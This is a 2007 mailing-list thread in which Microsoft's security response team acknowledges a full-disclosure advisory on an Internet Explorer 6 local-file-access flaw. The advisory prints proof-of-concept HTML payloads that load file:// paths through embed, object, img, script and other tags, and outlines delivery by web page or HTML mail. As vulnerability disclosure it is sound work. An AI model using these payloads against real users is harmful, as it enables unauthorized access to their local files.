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Re: Microsoft Internet Explorer Local File Accesses Vulnerability [7244ks]
From: Microsoft Security Response Center <secure () microsoft com>
Date: Mon, 19 Feb 2007 17:53:19 -0800

Hello Rajesh,

Thanks very much for your report. I have opened case 7244 and the case manager, kieron, will be in touch when there is 
more information. In the meantime, we ask you respect responsible disclosure guidelines and not report this publicly 
until users have an opportunity to protect themselves. You can review our bulletin acknowledgment policy at 
http://www.microsoft.com/technet/security/bulletin/policy.mspx and our general policies and practices at 
http://www.microsoft.com/technet/security/bulletin/info/msrpracs.mspx. If at any time you have questions or more 
information, please respond to this message.

Thank you,

Christine

-----Original Message-----
From: full-disclosure-bounces () lists grok org uk [mailto:full-disclosure-bounces () lists grok org uk] On Behalf Of 
Rajesh Sethumadhavan
Sent: Monday, February 19, 2007 2:14 PM
To: full-disclosure () lists grok org uk
Subject: [Full-disclosure] Microsoft Internet Explorer Local File Accesses Vulnerability

Microsoft Internet Explorer Local File Accesses Vulnerability

#####################################################################

XDisclose Advisory        : XD100099
Vulnerability Discovered : February 10th 07
Advisory Released         : February 20th 07
Credit                           : Rajesh Sethumadhavan

Class                           : Local File Accesses
Severity                        : Critical
Solution Status             : Unpatched
Vendor                         : Microsoft Corporation
Affected applications     : Microsoft Internet Explorer
Affected version            : Microsoft Internet Explorer 6 confirmed
                                    (Other versions may be also affected)
Affected Platform          : Windows XP Professional SP0,SP1,SP2
                                     Windows Home Edition SP0,SP1,SP2
                                     Windows 2003

#####################################################################


Overview:
Microsoft Internet Explorer is a default browser bundled with all versions of Microsoft Windows operating system.

Description:
A vulnerability has been identified in Microsoft Internet Explorer, (default installation) in windows XP service pack 2 
which could be exploited by malicious users to obtain victims local files. This flaw is due to an error in the way 
Microsoft Internet explorer handles different html tags. Which could be exploited by a malicious remote user to obtain 
sensitive local files from the victim's computer.

Vulnerability Insight :
Microsoft Windows explorer is not handling various html tags like "img"
"script" "embed" "object" "param" "style" "bgsound" "body" "input"
(Other tags may be also vulnerable). By using the file protocol along with above tags it is possible to accesses 
victims local files.

a) Embed Tag Local file Accesses:
---------------------------------------------------------------------
<EMBED SRC="file:///C:/test.pdf" HEIGHT=600 WIDTH=1440></EMBED>
---------------------------------------------------------------------

b) Object & Param Tag Local File Accesses:
---------------------------------------------------------------------
<object type="audio/x-mid" data=" file:///C:/test.mid <file:///C:/test.mid> " width="200"
height="20">
  <param name="src" value="file:///C:/test.mid">
  <param name="autoStart" value="true">
  <param name="autoStart" value="0">
</object>
---------------------------------------------------------------------

c) Body Tag Local File Accesses:
---------------------------------------------------------------------
<body background="file:///C:/test.gif" onload="alert('loading body bgrd success')" onerror="alert('loading body bgrd 
error')">
---------------------------------------------------------------------

d) Style Tag Local File Accesses:
---------------------------------------------------------------------
<STYLE type="text/css">BODY{background:url(" file:///C:/test.gif <file:///C:/test.gif> ")} </STYLE>
---------------------------------------------------------------------

e) Bgsound Tag Local File Accesses:
---------------------------------------------------------------------
<bgsound src="file:///C:/test.mid" id="soundeffect" loop=1 autostart= "true"/>
---------------------------------------------------------------------

f) Input Tag Local File Accesses:
---------------------------------------------------------------------
<form>
  <input type="image" src=" file:///C:/test.gif <file:///C:/test.gif> " onload="alert('loading
  input success')" onerror="alert('loading input error')"> </form>
---------------------------------------------------------------------

g) Image Tag Local File Accesses:
---------------------------------------------------------------------
<img src="file:///C:/test.jpg" onload="alert('loading image success')"
onerror="alert('loading image error')">
---------------------------------------------------------------------

h) Script Tag Local File Accesses:
---------------------------------------------------------------------
<script src="file:///C:/test.js"></script >
---------------------------------------------------------------------


Exploitation method:
- Creates a web page or an HTML Mail with the vulnerable code
- When the victim opens the mail or visit the vulnerable site it is
  possible to accesses his local files.

Demonstration:
Note: Demonstration will try to accesses few default images and wave files

- Visit the POC
- If vulnerable internet explorer is used it will show your local
  sample images and give a proper alert.

Solution:
No solution

Screenshot:
http://www.xdisclose.com/images/xdiscloselocalie.jpg

Proof Of Concept:
http://www.xdisclose.com/poc/xdiscloselocalie.html

Impact:
A Remote user can get accesses to victims local system files.

Scope of impact is limited to system level.

Original Advisory:
http://www.xdisclose.com/XD100099.txt

Credits:
Rajesh Sethumadhavan has been credited with the discovery of this vulnerability

Disclaimer:
This entire document is strictly for educational, testing and demonstrating purpose only. Modification use and/or 
publishing this information is entirely on your own risk. The exploit code is to be used on your testing environment 
only. I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations 
provided in any part of this advisory.



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